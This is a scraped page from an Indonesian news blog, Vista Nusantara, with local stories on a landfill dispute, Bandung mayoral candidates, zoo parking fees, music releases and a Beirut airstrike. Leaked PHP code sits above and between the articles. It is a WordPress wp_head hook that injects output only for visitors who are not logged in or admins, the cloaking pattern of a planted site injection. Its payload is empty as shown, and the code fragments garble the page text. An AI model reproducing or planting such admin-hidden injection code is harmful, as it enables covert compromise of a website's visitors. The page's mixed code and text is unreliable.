if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 227 dari 271 -
?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);
  • LAKI-KBB Tegaskan Netralitas di Pilkada 2024 dan Fokus pada Isu Korupsi serta Sampah Sarimukti

    BANDUNG, VISTA NUSANTARARAKERDA I yang dilaksanakan di Gedung BBPMP Jl Raya Batujajar, menjadi momentum titik balik LAKI-KBB meneguhkan bahwa korupsi merupakan musuh bersama serta membangun kemitraan bersama Pemda dan DPRD KBB menjadi sebuah kenicayaaan untuk menuju Bandung Barat bebas korupsi dan menuntaskan carut marut pengelolaan sampah di TPK Sarimukti. 
    Gunawan Rasyid Ketua Laskar Anti Korupsi Indonesia/LAKI-KBB, menyampaikan bahwa tiga hal yang menjadi fokus dalam RAKERDA I tersebut antara lain:
    1. Penguatan kelembagaan dalam menghadapi Pilkada KBB 2024.
    2. Memperkuat peran dalam mencegah dan memberantas tindak pidana korupsi. 
    3. Mengambil peran secara serius dalam penyelesaian pengelolaan sampah di TPK Sarimukti.
    Dalam hal menghadapi Plkada KBB 2024, RAKERDA mengamanahkan bahwa semua anggota dan pengurus LAKI KBB secara kelembagaan harus netral, karena LAKI KBB secara resmi sudah mendapatkan Akreditas dari KPU sebagai Pemantau pelaksanaan Pilkada 2024 yang sudah dengan peraturan dan perundangan undangan, sehingga dalam kinerjanya LAKI KBB harus melaksanakan pemantauan tahapan pelaksanaan Pilkada KBB baik yang dilakukan oleh penyelenggara pemilu maupun peserta/pasangan calon agar tidak terjadi kecurangan, ujar Guras panggilan akrab Ketua LAKI KBB ini.
    Dalam hal pencegahan dan pemberantasan Tipikor pengurus LAKI KBB harus bisa memperkuat pengetahuan dalam melakukan investigasi pelanggar tipikor, tidak boleh bekerja bahkan melaporkan kepada Aparat Penegak Hukum hanya berdasarkan asumsi, akan tetapi harus berdasarkan fakta yuridis, dan LAKI KBB harus tetap menjadi mitra kritis eksekutif maupun legislatif untuk perbaikan KBB kedepan.
    LAKI-KBB tidak boleh kehilangan fokus dalam carut marut pengelolaan sampah di TPK Sarimukti, berdasarkan hasil investigasi terakhir diduga telah terjadi berbagai macam pelanggaran prosedur yang mengakibatkan kerusakan lingkungan yang berdampak menimbulkan kerugian yang sangat besar bagi warga Bandung Barat bahkan ada dugaan telah terjadi pelanggaran pidana korupsi di TPK Sarimukti, sehingga LAKI-KBB harus terdepan dalam menyelesaikan persoalan pengelolaan sampah tersebut, ucapnya.
    Senada juga disampaikan oleh PJ Bupati KBB Ade Zakir, bahwa beliau sangat mengapresiasi kehadiran LAKI-KBB, ormas ini harus mampu mempertahankan integritas secara konsisten dan harus tetap menjadi mitra kritis yang bermanfaat untuk memperbaiki tata kelola pemerintahan yang bersih dan akuntabel kedepan. Pemda KBB siap berkolaborasi dalam kegiatan mitigasi, sosialisasi pencegahan dan pemberantasan tindak pidana korupsi, ujarnya.
    Terpisah disampaikan juga apresiasi oleh Ketua DPRD KBB H.Muhammad Mahdi, dimana keberadaan LAKI-KBB saat ini sangat dibutuhkan di Bandung Barat, karena berdasarkan kondisi empiris beberapa pejabat daerah di KBB sudah banyak yang tersandung kasus korupsi, padahal sudah jelas korupsi menurut aturan negara dilarang, dan menurut agama juga dilarang bahkan neraka bagiannya karena sangat merugikan dan membuat masyarakat menjadi miskin serta sengsara, ujarnya.
    Sementara PLT Kaban Kesbangpol Weda menjelaskan pengetahuan mengenai mekanisme dan unsur yang terlibat dalam pelaksanaan Pilkada 2024 termasuk peran dan fungsi LAKI-KBB didalamnya.
    RAKERDA I LAKI-KBB diakhiri dengan podcast/diskusi penajaman tentang komitmen pasangan calon Pilkada KBB 2024 terhadap pencegahan dan pemberantasan, hanya saja sayang baru tiga pasangan yang berani hadir Podcast dan menandatangani fakta integritas bersama LAKI-KBB yaitu pasangan no urut 1.DILAN, 4.EDUN dan 5 BERDAYA, sementara No.2 BERJAMAAH dan No.3 HADE masih belum berani memenuhi undangan podcast dan menandatangani fakta integritas bersama LAKI-KBB apakah mau di legalkan prilaku Koruptif..?
    Terakhir penajaman mengenai carut marut pengelolaan sampah di TPK Sarimukti, dengan menghadirkan penggiat lingkungan Wahyu Dharmawan yang menyampaikan berbagai macam temuan dugaan pelanggaran terkini, termasuk kedepannya terhadap Pemda Provinsi Jabar yang dianggap banyak merugikan masyarakat, tukasnya. 
    LAKI-KBB berkesimpulan bahwa TPK Sarimukti harus DITUTUP karena diduga sudah menjadi ancaman serius bagi masyarakat KBB, kita harus bangkit melawan ketidakadilan karena sudah terjadi kerusakan lingkungan yang sangat dahsyat. 
    Dugaan ancaman bencana ledakan gas metan didepan mata apabila kondisi TPK Sarimukti dipaksakan seperti saat ini, indikator awal terjadinya kebakaran tahun 2023.
    Berdasarkan informasi dari Kepala UPTD PSTR Arief Perdana overload sampah sebetulnya sudah sangat lama karena kapasitas awal sebagai TPAS -/+ 1.9 juta ton, hari ini -/+ 24.juta ton, dan dalam menghadapi kedaruratan sejak tanggal 8 november 2024 TPK Sarimukti sudah overload dan kalau dipaksakan akan terjadi longsor tumpukan sampah tersebut, kami sebagai masyarakat KBB tidak ingin mengulang tragedi TPA Leuwigajah yang menelan 146 jiwa akibat tumpukan sampah longsor dan terjadi ledakan karena adanya gas metan didalamnya. 
    Kenapa UPTD PSTR tidak menggunakan TPA LEGOK NANGKA sebagai alternatif kedaruratan dalam penanganan sampah di Bandung Raya…. ada apa dengan Legok Nangka sudah menghabiskan ratusan milyar sejak 2010 hingga saat ini masih belum selesai..?????
    LAKI bersama masyarakat KBB tetap dalam sikapnya menolak perluasan dan harus menutup TPK SARIMUKTI, Bandung Barat bukan tong sampah dan 1,8 jt semuanya manusia bukan tikus, pungkas Guras.***
  • Mini Album “Meraki”, Identitas Baru Aozora No Hime di Industri Musik

    VISTA NUSANTARADi Penghujung 2024 adalah tahun bagi Aozora No Hime untuk merilis sebuah Mini Album yang berjudul “Meraki”
    FILOSOFI ALBUM
    Mini Album ini diberi Judul “Meraki” yang diambil dalam l Yunani Modern sebagai simbol melakukan segala sesuatu dengan sepenuh hati, jiwa, dan raga.
    Filosofi dibalik “Mekari” mencerminkan perjalan mereka yang terus berkembang dan beradaptasi di Industri musik, seperti seseorang yang terus berkembang di setiap tahun. ini juga menggambarkan semangat dan energi baru yang mereka bawa dalam album ini.
    Apa yang membuat “Mekari” ini layak untuk disuguhkan ke para penikmat musik, khususnya musik keras? Album ini menawarkan warna yang berbeda, memadukan antara lagu keras seperti Power Metal dengan Idol grup yang membuat 3 lagu dalam mini album ini membuat tidak hanya enak didengar namun juga menarik untuk dilihat.
    Siapa saja yang terlibat dalam pembuatan mini album ini? Album “Meraki” ini berkolaborasi dengan beberapa band indie jejepangan di bandung. Seperti; Roy, yang menulis lagi “Get Up or Let u Down”; dan Asep Tokyo Night membuat “O-Hime-Sama”;serta Aji Ameagari yang masih dirahasiakana. Produksi musik dikerjakan oleh Produser Be Own Beat Studios, memastikan kualitas aransemennya sesuai dengan ciri khas Aozora No Hime.
    Fokus Track “O-Hime-Sama”
    Mini album “Mekari” terdiri dari 3 lagu yang masih mempertahankan ciri khas yaitu exprimental metal di padukan dengan Idol grup yang menjadikannya Identitas Aozora No Hime. Adapun yang menjadi fokus Track di mini album ini adalah single “O-Hime-Sama”, ciptaan Asep dari Tokyo Night.
    Lagu “O-Hime-Sama” menjadi fokus track di mini album “Mekari” ini. Dipilih karena memiliki arti dan kesamaan yang diambil dari nama Aozora No Hime, menggambarkan tentang seorang Tuan Putri yang tidak suka dengan “status” Tuan Putrinya namun harus tetap menjalani takdirnya sebagai Tuan putri. Dengan irama Power Metal serta Exprimental Metal “O-Hime-Sama” diharapkan dapat menjadi lagu yang memberikan warna berbeda bagi para pendengar.
    Perjalanan Karir
    Aozora No Hime sendiri baru terjun dalam industri musik tanah air pada tanggal 29 Oktober 2023. Idol Grup yang terdiri dari 3 orang yaitu Binbin (Vocal, dance), Killu (Visual, dance), serta Bee (Scream, dance) memulai karir dari panggung – panggung komunitas jejepangan. Mini album yang rencana akan di publikasi tanggal 24 November 2024 ini diharapkan bisa diterima oleh minao sebagai karya pertama mereka.***
  • Serangan Udara Israel di Beirut Tewaskan Tokoh Media Hizbullah

    VISTA NUSANTARA — Gerakan perlawanan Lebanon, Hizbullah, secara resmi mengonfirmasi bahwa Mohammed Afif Al-Nabulsi, yang menjabat sebagai kepala hubungan medianya, tewas dalam serangan udara Israel di pusat Beirut.
    Dalam sebuah pernyataan yang dikeluarkan pada Senin dini hari, Hizbullah menyampaikan ucapan belasungkawa kepada Sekretaris Jenderal Naim Qassem, para pejuang perlawanan, serta keluarga Al-Nabulsi atas syahidnya.
    Mohammed Afif Al-Nabulsi, yang bertanggung jawab atas hubungan media Hizbullah, bersama beberapa rekannya, gugur dalam pemboman yang dilakukan oleh rezim Zionis, demikian pernyataan tersebut.
    Pernyataan itu juga menambahkan bahwa Afif adalah sosok yang setia, kuat, dan dapat diandalkan, serta salah satu pilar utama dalam bidang media, politik, dan perlawanan Hizbullah.
    Gerakan tersebut menyatakan bahwa Afif dengan jelas menggambarkan karakteristik perang yang sedang berlangsung melalui siaran langsungnya dari pinggiran selatan Beirut, yang menjadi pusat serangan udara Israel di ibu kota Lebanon.
    Hizbullah menekankan bahwa posisi Afif memunculkan rasa takut di kalangan musuh, karena ia tidak gentar dengan ancaman kematian dan selalu merespons ancaman tersebut dengan pernyataan terkenal, “Kami tidak takut pemboman, bagaimana kami bisa takut dengan ancaman.”
    Serangan Israel pada hari Minggu menargetkan sebuah bangunan di distrik Ras Al-Naba’a, Beirut, yang menyebabkan tewasnya kepala hubungan media Hizbullah tersebut.***
  • Tarif Parkir Trotoar Kebun Binatang Bandung Jadi Sorotan

    BANDUNG, VISTA NUSANTARA — Kontroversi mencuat di Kebun Binatang Bandung setelah pengunjung mengeluhkan kebijakan parkir yang dinilai tidak wajar dan kewajiban membeli masker dengan harga yang cukup tinggi. Berdasarkan laporan yang diterima dari beberapa pengunjung, kendaraan mereka diarahkan untuk parkir di trotoar seberang pintu masuk utama lantaran area parkir di dalam kompleks kebun binatang telah penuh. Kebijakan ini menimbulkan pertanyaan karena trotoar seharusnya difungsikan sebagai jalur pejalan kaki.

    Kendaraan yang parkir di trotoar dikenakan tarif sebesar Rp35.000 per mobil. Tarif ini jauh di atas harga parkir umum di Kota Bandung, yang biasanya berkisar antara Rp5.000 hingga Rp15.000 untuk parkir di area wisata. Ketika sejumlah awak media mempertanyakan alasan di balik tarif tinggi ini, petugas parkir mengemukakan bahwa biaya tersebut mencakup *koordinasi* dengan Polsek dan Dinas Perhubungan (Dishub) Kota Bandung. Pernyataan ini memicu reaksi protes dari pengunjung yang merasa tarif tersebut tidak transparan dan berpotensi merugikan.

    Salah satu pengunjung, Anty, menyatakan, “Saya datang bersama keluarga untuk menikmati liburan, tetapi saya kaget saat tahu harus membayar Rp35.000 untuk parkir di trotoar. Belum lagi, alasan biaya koordinasi yang dijelaskan oleh petugas tidak masuk akal dan seharusnya menjadi tanggung jawab pengelola, bukan pengunjung.”

    Tidak hanya soal parkir, setelah turun dari kendaraan, para pengunjung diwajibkan untuk membeli masker seharga Rp5.000 per buah. Petugas yang mengatur penjualan masker menyebut bahwa langkah ini merupakan bagian dari sosialisasi kesehatan yang diinisiasi oleh pihak Dufan. Namun, banyak pengunjung merasa kebijakan ini seperti upaya pemaksaan yang tidak sejalan dengan upaya edukasi kesehatan. 

    “Saya sudah membawa masker dari rumah, tetapi saat masuk saya dipaksa membeli masker lain seharga Rp5.000. Katanya ini untuk sosialisasi kesehatan, tetapi rasanya lebih seperti alasan untuk meraup keuntungan tambahan,” ujar Jaka, pengunjung lain yang datang bersama anak-anaknya.

    Kebijakan ini memunculkan kekhawatiran mengenai keabsahan klaim yang disampaikan oleh oknum petugas parkir dan penjual masker tersebut. Apakah kebijakan ini benar-benar dijalankan atas dasar kepentingan kesehatan masyarakat, atau hanya sekadar akal-akalan untuk memanfaatkan situasi ramai pengunjung di hari libur?

    Permintaan Klarifikasi

    Menanggapi keluhan ini, awak media meminta klarifikasi dari tiga pihak utama: manajemen Kebun Binatang Bandung, Polres Bandung, dan Dinas Perhubungan Kota Bandung. Konfirmasi dari pihak-pihak terkait diharapkan dapat memberikan kejelasan atas tudingan tersebut dan menjawab pertanyaan masyarakat mengenai apakah langkah-langkah yang diambil selama ini memang sesuai dengan peraturan dan prosedur yang berlaku.

    Hingga berita ini ditulis, pihak Kebun Binatang Bandung belum memberikan pernyataan resmi terkait tarif parkir maupun kewajiban pembelian masker. Dinas Perhubungan Kota Bandung dan Polres Bandung juga diharapkan memberikan keterangan apakah ada perjanjian atau kerja sama khusus dengan pihak pengelola kebun binatang terkait parkir di luar area utama dan sosialisasi kesehatan ini.

    Dampak Terhadap Pengunjung dan Reputasi

    Tindakan-tindakan yang diambil oleh oknum petugas ini berpotensi menurunkan minat masyarakat untuk berkunjung ke Kebun Binatang Bandung, yang selama ini dikenal sebagai salah satu destinasi favorit di Kota Bandung. Pengalaman tidak nyaman yang dialami oleh para pengunjung, terutama terkait biaya yang dirasa berlebihan dan tindakan pemaksaan, dapat menggerus kepercayaan publik.

    “Kebun Binatang seharusnya menjadi tempat yang ramah dan terjangkau bagi keluarga. Kalau seperti ini terus, mungkin kami harus berpikir dua kali untuk datang kembali,” ujar seorang pengunjung yang enggan disebutkan namanya.

    Publik menunggu pernyataan dan tindakan tegas dari pihak berwenang agar kejadian serupa tidak berulang dan kepercayaan masyarakat dapat dipulihkan. Klarifikasi resmi juga diharapkan dapat memisahkan mana kebijakan yang benar-benar bertujuan melindungi dan mendidik masyarakat, dan mana yang dilakukan hanya demi keuntungan semata.***

  • Janji Ambisius Farhan-Erwin, Realistis atau Sekadar Slogan?

    BANDUNG, VISTA NUSANTARAPasangan Muhammad Farhan dan Erwin, calon Wali Kota dan Wakil Wali Kota Bandung nomor urut 3, kini tengah menjadi sorotan publik akibat sejumlah kontroversi yang menghiasi rekam jejak mereka. Meskipun mereka menawarkan visi baru untuk kota Bandung, masa lalu mereka dipenuhi kritik yang berpotensi mempengaruhi perjalanan mereka dalam pemilihan ini.

    Salah satu isu yang mengemuka adalah dugaan keterlibatan Farhan dalam beberapa proyek media yang mendapat kritik tajam. Proyek-proyek tersebut dianggap terlalu berorientasi pada keuntungan dan kurang memperhatikan kepentingan masyarakat. Sebagai seorang figur yang berpengalaman di dunia media, Farhan sempat dipertanyakan terkait program-program yang dinilai hanya mengejar profit tanpa memberikan manfaat nyata bagi publik. Banyak yang bertanya-tanya apakah latar belakangnya di media dapat diterjemahkan menjadi kepemimpinan yang benar-benar mengutamakan kepentingan umum.

    Di sisi lain, Erwin, yang memiliki pengalaman di birokrasi, pernah terlibat dalam sejumlah proyek pembangunan di Bandung yang dipandang kontroversial. Beberapa proyek infrastruktur yang berada di bawah pengawasannya dianggap kurang sensitif terhadap isu lingkungan dan keberlanjutan. Hal ini menimbulkan pertanyaan mengenai kemampuan pasangan ini untuk merealisasikan janji mereka dalam menciptakan kota yang ramah lingkungan dan berkelanjutan, mengingat keterlibatan mereka dalam proyek-proyek yang disorot karena dampak negatif terhadap lingkungan.

    Pasangan ini juga mendapat kritik terkait perubahan sikap politik yang sering mereka tunjukkan sepanjang karier mereka. Mereka dianggap sering berpindah dukungan politik dan menyesuaikan diri dengan alur politik yang sedang berkembang. Sikap ini menimbulkan kekhawatiran tentang konsistensi dan komitmen mereka terhadap visi dan misi yang mereka usung saat ini. Masyarakat bertanya-tanya apakah mereka memiliki prinsip yang kuat atau hanya berfokus pada kepentingan politik sesaat.

    Selain itu, pasangan ini juga menghadapi kritikan terkait janji kampanye mereka yang dianggap terlalu ambisius dan tidak realistis. Dengan visi Bandung sebagai kota yang maju, kreatif, dan inklusif, mereka menjanjikan berbagai perubahan besar. Namun, sebagian warga meragukan apakah mereka memiliki strategi konkret yang dapat diterapkan untuk mewujudkan janji tersebut, mengingat tantangan anggaran dan berbagai masalah kompleks yang dihadapi Bandung saat ini.

    Dengan segala kontroversi yang melibatkan rekam jejak mereka, pasangan Farhan dan Erwin kini harus menghadapi ujian besar terkait kepercayaan publik. Di tengah ketegangan politik yang semakin memanas, masyarakat berharap para calon pemimpin dapat menunjukkan integritas dan kemampuan untuk membawa perubahan yang nyata. 

    Apakah pasangan nomor urut 3 ini mampu mengatasi keraguan publik dan membuktikan diri sebagai pemimpin yang dapat dipercaya? Pertanyaan ini akan menjadi penentu bagi masa depan Bandung.***
  • Kontroversi Janji Kampanye Haru-Dhani untuk Bandung 2024

    BANDUNG, VISTA NUSANTARAPasangan calon Wali Kota dan Wakil Wali Kota Bandung 2024, Haru Suandharu dan Dhani Wirianata, yang berada di nomor urut 2, kini tengah menjadi sorotan publik karena sejumlah kontroversi yang mewarnai kampanye mereka. Meskipun mereka mengusung berbagai janji dan visi untuk Bandung, ada beberapa isu yang bisa menjadi hambatan dalam perjalanan mereka menuju kursi Wali Kota Bandung.

    Salah satu kritik utama yang ditujukan kepada pasangan ini adalah terkait janji-janji kampanye yang dianggap terlalu bombastis dan kurang realistis. Visi mereka untuk mewujudkan “Bandung yang Unggul dan Berdaya Saing” terdengar ambisius, namun banyak warga yang meragukan bagaimana rencana besar tersebut dapat terwujud, terutama dengan kondisi ekonomi yang tengah menghadapi berbagai tantangan. Banyak yang bertanya-tanya apakah visi tersebut hanya sekadar slogan tanpa adanya landasan dan strategi yang jelas untuk mencapainya.

    Selain itu, pasangan ini juga mendapatkan kritik mengenai pengalaman dan rekam jejak mereka yang dianggap kurang memadai untuk mengelola kota sebesar Bandung. Beberapa kalangan mempertanyakan apakah mereka memiliki kompetensi yang cukup untuk menangani berbagai permasalahan kota, mulai dari sektor transportasi, tata kota, hingga isu sosial yang semakin kompleks. Hal ini memunculkan keraguan apakah pasangan ini benar-benar siap menghadapi tantangan besar yang ada.

    Kebijakan-kebijakan yang mereka tawarkan juga mendapat perhatian publik. Salah satunya adalah program penataan ruang hijau yang dinilai tidak realistis mengingat terbatasnya lahan di kota Bandung. Isu lain yang menjadi sorotan adalah pemenuhan layanan publik, seperti kesehatan dan pendidikan, di mana banyak yang meragukan bagaimana pasangan ini akan mengatasi masalah klasik seperti keterbatasan anggaran dan fasilitas yang memadai.

    Tidak hanya itu, pasangan ini juga dihadapkan pada kekhawatiran terkait kemampuan mereka dalam menangani isu-isu sosial seperti keberagaman dan toleransi di masyarakat. Meskipun Haru dan Dhani berkomitmen untuk memperkuat toleransi di Bandung, banyak warga yang meragukan efektivitasnya, terutama mengingat kompleksitas masalah keberagaman yang ada di kota ini.

    Saat Haru Suandharu dan Dhani Wirianata terus berusaha meraih dukungan, sejumlah pihak merasa skeptis mengenai kemampuan pasangan ini untuk menghindari masalah besar lainnya, baik selama masa kampanye maupun setelahnya. Masyarakat Bandung tampaknya menantikan dengan penuh harap sekaligus kecemasan, apakah pasangan nomor urut 2 ini benar-benar dapat memenuhi janji-janji mereka, atau justru terjebak dalam kontroversi yang lebih besar.***

  • Visi Ambisius Farhan-Erwin di Tengah Kritik Integritas dan Lingkungan

    BANDUNG, VISTA NUSANTARA — Pasangan calon Wali Kota dan Wakil Wali Kota Bandung nomor urut 3, Muhammad Farhan dan Erwin, tengah menjadi pusat perhatian publik dalam Pilwalkot 2024. Meskipun mereka membawa visi perubahan bagi Kota Bandung, sejumlah kontroversi di masa lalu terus membayangi langkah mereka, menimbulkan keraguan di kalangan masyarakat.  


    Muhammad Farhan, yang dikenal melalui karier panjangnya di dunia media, mendapat kritik terkait sejumlah proyek yang dinilai lebih mementingkan profit ketimbang kebutuhan masyarakat. Beberapa program yang diinisiasinya dianggap gagal memberikan dampak nyata bagi publik, menimbulkan pertanyaan apakah pengalaman profesionalnya bisa diterjemahkan menjadi kepemimpinan yang inklusif.  

    “Sebagai figur media, Farhan seharusnya lebih memahami pentingnya keberpihakan kepada masyarakat. Namun, proyek-proyek sebelumnya justru menunjukkan sebaliknya,” ujar seorang pengamat politik lokal.  

    Di sisi lain, Erwin, yang memiliki pengalaman panjang di birokrasi, juga menghadapi kritik terkait proyek-proyek pembangunan infrastruktur di Bandung. Beberapa di antaranya dinilai mengabaikan aspek keberlanjutan dan kelestarian lingkungan. Salah satu kasus yang sering disebut adalah pembangunan yang berdampak pada ruang hijau kota, menimbulkan keraguan tentang komitmen pasangan ini terhadap Bandung yang ramah lingkungan.  

    “Kota Bandung membutuhkan pemimpin yang tidak hanya fokus pada pembangunan fisik, tetapi juga peduli terhadap keberlanjutan. Rekam jejak Erwin masih meninggalkan tanda tanya besar dalam hal ini,” kata seorang aktivis lingkungan setempat.  
      
    Pasangan ini juga disorot karena perubahan sikap politik yang kerap mereka tunjukkan selama karier mereka. Pergeseran dukungan politik yang dinilai oportunistis membuat banyak pihak mempertanyakan integritas dan konsistensi mereka terhadap visi dan misi yang mereka usung.  

    “Masyarakat menginginkan pemimpin dengan prinsip yang kuat, bukan yang hanya menyesuaikan diri dengan arus politik,” ungkap seorang warga yang mengikuti kampanye mereka.  
      
    Dalam kampanyenya, Farhan-Erwin menjanjikan Bandung yang maju, kreatif, dan inklusif. Namun, banyak warga yang meragukan realisasi janji tersebut, mengingat tantangan kompleks yang dihadapi kota ini. Dari masalah kemacetan hingga pengelolaan anggaran yang terbatas, skeptisisme publik terhadap strategi pasangan ini kian mengemuka.  

    “Visinya menarik, tetapi tidak ada rencana konkret yang ditawarkan. Apakah ini hanya sekadar janji kosong?” tanya seorang pengamat kebijakan publik.  
      
    Dengan berbagai kontroversi yang mengemuka, pasangan Farhan dan Erwin kini menghadapi ujian kepercayaan publik yang berat. Di tengah ketatnya persaingan politik, mereka harus membuktikan bahwa visi mereka bukan sekadar retorika, melainkan komitmen yang dapat diwujudkan.  

    Masyarakat Bandung kini menanti langkah pasangan nomor urut 3 ini. Apakah mereka mampu mengatasi kritik dan meyakinkan publik, atau justru terpuruk akibat kontroversi masa lalu? Jawaban atas pertanyaan ini akan menjadi penentu arah masa depan Kota Bandung dalam lima tahun mendatang.***
  • Semarak Open House SMA Darul Falah, Ajang Kreasi dan Edukasi untuk Pelajar

    BANDUNG, VISTA NUSANTARASMA Darul Falah Cihampelas Kabupaten Bandung Barat gelar Open House yang dilaksanakan kampus SMA Darul Falah, 9 – 16 November 2024.
    Kegiatan Open House SMA Darul Falah Cihampelas diisi dengan berbagai lomba diantaranya Turnamen Futsal, D’Champion (Olimpiade MIPA), MOBA Esport (Mobile Legend), Kompetisi Hadroh, Lomba Keterampilan Baris Berbaris (LKBB) tingkat Jawa Barat.
    Seperti yang disampaikan Ketua Pelaksana Open House SMA Darul Falah Anwar Sodik, S.Pd., bahwa kegiatan ini merupakan salah satu sosialisasi guna mempertegas bahwa SMA Darul Falah sebagai pusat kegiatan pendidikan merupakan tempat layanan publik yang ikut serta dan berperan aktif guna ikut serta memajukan dunia pendidikan dalam mempersiapkan generasi penerus bangsa menyambut Indonesia Emas 2045.
    Dari konsep yang digelar di Open House ini selain menjadi media silaturahmi, juga digelar berbagai lomba diantaranya Turnamen Futsal tingkat KBB, Olimpiade Matematika dan IPA tingkat KBB, Mobil Legend dengan konsep E- Sport tingkat KBB, Hadroh tingkat KBB serta Lomba Keterampilan Baris Berbaris (LKBB) tingkat Provinsi Jawa Barat yang melibatkan tim peserta dalam melakukan gerakan serta formasi tertentu secara teratur dan seragam. Lomba LKBB dibatasi jumlah pesertanya yaitu 35 tim yang diikuti termasuk perwakilan dari Indramayu dan Pameungpeuk Garut. Peserta lomba semuanya yaitu tingkat SMP/MTs.
    Anwar Sodik berharap dengan adanya open house ini keberadaan SMA Darul Falah semakin dikenal tidak hanya di Bandung Raya saja, serta meningkatkan tali silaturahmi antar satuan pendidikan karena dari pembimbing lomba di satuan pendidikan banyak alumni dari SMA Darul Falah, pungkas Anwar Sodik.
    Kegiatan Open House SMA Darul Falah selain diisi dengan berbagai lomba, juga melibatkan Kodim 06/09, Rindam 3 Siliwangi, Brimob yang menjadi juri LKBB, serta gelar karya Projek Penguatan Profil Pelajar Pancasila (P5) dalam bentuk tampilan kesenian dan bazaar sebagai implementasi prakarya dalam bentuk produk baik makanan dan minuman.***
  • Bayu Ruben Angkat Nilai Kehidupan Sosial dalam Lagu Rock “Susi”

    VISTA NUSANTARABayu Ruben, yang dikenal lewat perannya sebagai Kemod dalam sinetron Preman Pensiun, kembali menghidupkan identitasnya sebagai seniman melalui dunia musik. Kali ini, ia meluncurkan lagu berjudul “Susi”, sebuah karya ciptaan rekannya, Andar Key. Lagu ini mengusung tema relevan dengan kehidupan sosial masyarakat, mengingatkan pada nilai-nilai moral seperti yang kerap ditampilkan dalam Preman Pensiun.
    Lagu “Susi” mengisahkan perjalanan hidup seorang perempuan bernama Susi, yang terluka secara emosional hingga meninggalkan desa untuk mencoba peruntungan di kota. Melalui perjuangan pahit, ia berhasil mengubah nasibnya. Pesan yang diusung lagu ini adalah untuk menghormati perempuan, menghindari seks bebas, dan tetap menghargai sesama.
    “Lagu ini saya buat bukan hanya untuk menghibur, tetapi juga menyampaikan pesan moral. Saya ingin mengajak para pria untuk lebih menghormati perempuan dan mengingatkan perempuan agar tidak mudah menyerah ketika menghadapi masalah,” ujar Bayu Ruben.
    Bayu menambahkan bahwa lagu ini terinspirasi dari fenomena yang sering ia lihat di kehidupan nyata maupun media sosial. “Kita harus sadar bahwa hidup itu penuh perjuangan, dan setiap orang, termasuk perempuan, bisa bangkit dari keterpurukan. Itulah yang ingin saya sampaikan melalui lagu ini,” katanya.
    Dengan “Susi”, Bayu Ruben berupaya mengembalikan kejayaan genre musik rock, yang menurutnya mulai memudar, khususnya di Kota Bandung. “Dulu, Bandung dikenal sebagai kota rocker. Banyak musisi rock besar lahir di sini. Sekarang, genre ini mulai meredup, dan saya ingin generasi muda kembali mencintai rock,” ujar Bayu.
    Selain “Susi”, Bayu juga menyebut lagu lain berjudul “Bobotoh Sejati” yang bertujuan menyatukan suporter sepak bola, khususnya di Bandung, untuk mencegah kekerasan antarpendukung. “Lagu ini bukan hanya untuk hiburan, tetapi juga untuk mengajak suporter menjaga persaudaraan. Sepak bola seharusnya menjadi pemersatu, bukan pemicu konflik,” tegasnya.
    Meski lagu “Susi” belum dirilis di media sosial, proses produksi video klipnya sedang berlangsung. Bayu berencana menghadirkan konsep klip yang humoris agar lebih diterima oleh masyarakat luas.
    “Saya ingin video klip ini berbeda, lebih menghibur tetapi tetap menyampaikan pesan yang kuat. Humor adalah cara yang efektif untuk menarik perhatian, terutama untuk generasi muda,” ungkapnya.
    Selain itu, ia membuka peluang kolaborasi lintas genre, seperti dangdut, serta mengizinkan kreator lain membuat versi cover untuk memperluas pesan lagunya. “Saya tidak keberatan jika ada yang ingin membuat versi lain dari lagu ini. Musik adalah media untuk berbagi, dan semakin banyak yang berkontribusi, semakin besar dampaknya,” katanya.
    Bayu Ruben ingin menghidupkan kembali semangat berkarya di kalangan generasi muda Bandung, terutama di dunia musik. Ia percaya bahwa kota ini memiliki potensi besar untuk melahirkan talenta-talenta baru yang bisa mengembalikan Bandung sebagai kiblat musik rock.
    “Saya berharap anak muda Bandung bisa lebih berani untuk berkarya. Jangan takut gagal atau diremehkan. Musik adalah tentang menyampaikan cerita dan inspirasi. Mari kita kembalikan Bandung sebagai kota seniman dan rocker,” ujarnya penuh semangat.***
  • Rekam Jejak Dandan Riza Wardana, Dari Tersangka Pungli ke Kandidat Wali Kota Bandung 2024

    BANDUNG, VISTA NUSANTARADandan Riza Wardana, calon Wali Kota Bandung 2024 dengan nomor urut 1, kembali menjadi sorotan publik terkait jejak rekam masa lalunya. Sebelumnya, Dandan pernah menjabat sebagai Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) di Kota Bandung. Namun, masa jabatannya ternoda oleh kasus hukum yang cukup menggemparkan: penetapannya sebagai tersangka kasus pungutan liar (pungli).
    Kasus pungli tersebut terjadi ketika Dandan masih memegang kendali sebagai kepala dinas, posisi yang seharusnya menjadi contoh integritas dan pelayanan publik yang bersih. Ketika status hukum Dandan meningkat menjadi tersangka, Wali Kota Bandung kala itu, Ridwan Kamil, tidak tinggal diam. Langkah tegas diambil dengan menonaktifkan Dandan dari jabatannya, guna menjaga stabilitas pemerintahan dan kredibilitas Kota Bandung di mata publik. 
    “Iya sudah (non aktif). Plt-nya sudah disiapkan dari asisten daerah III Ibu Evi,” ujar Emil, sapaan akrab Ridwan Kamil, di Balai Kota Bandung, Senin (30/1). Keputusan tersebut diambil untuk memastikan proses hukum dapat berjalan dengan lancar tanpa ada gangguan dari pejabat yang masih aktif bertugas.
    Penonaktifan Dandan saat itu disambut beragam reaksi. Sebagian pihak memuji tindakan Emil yang cepat dan tegas, sementara pihak lain menunggu perkembangan kasus yang sedang berjalan. Proses hukum yang dijalani Dandan menjadi topik hangat yang dibahas dalam berbagai media lokal dan nasional. Hal ini menimbulkan pertanyaan mengenai bagaimana integritas Dandan dipertahankan, mengingat posisinya sebagai pejabat publik dengan tanggung jawab yang besar.
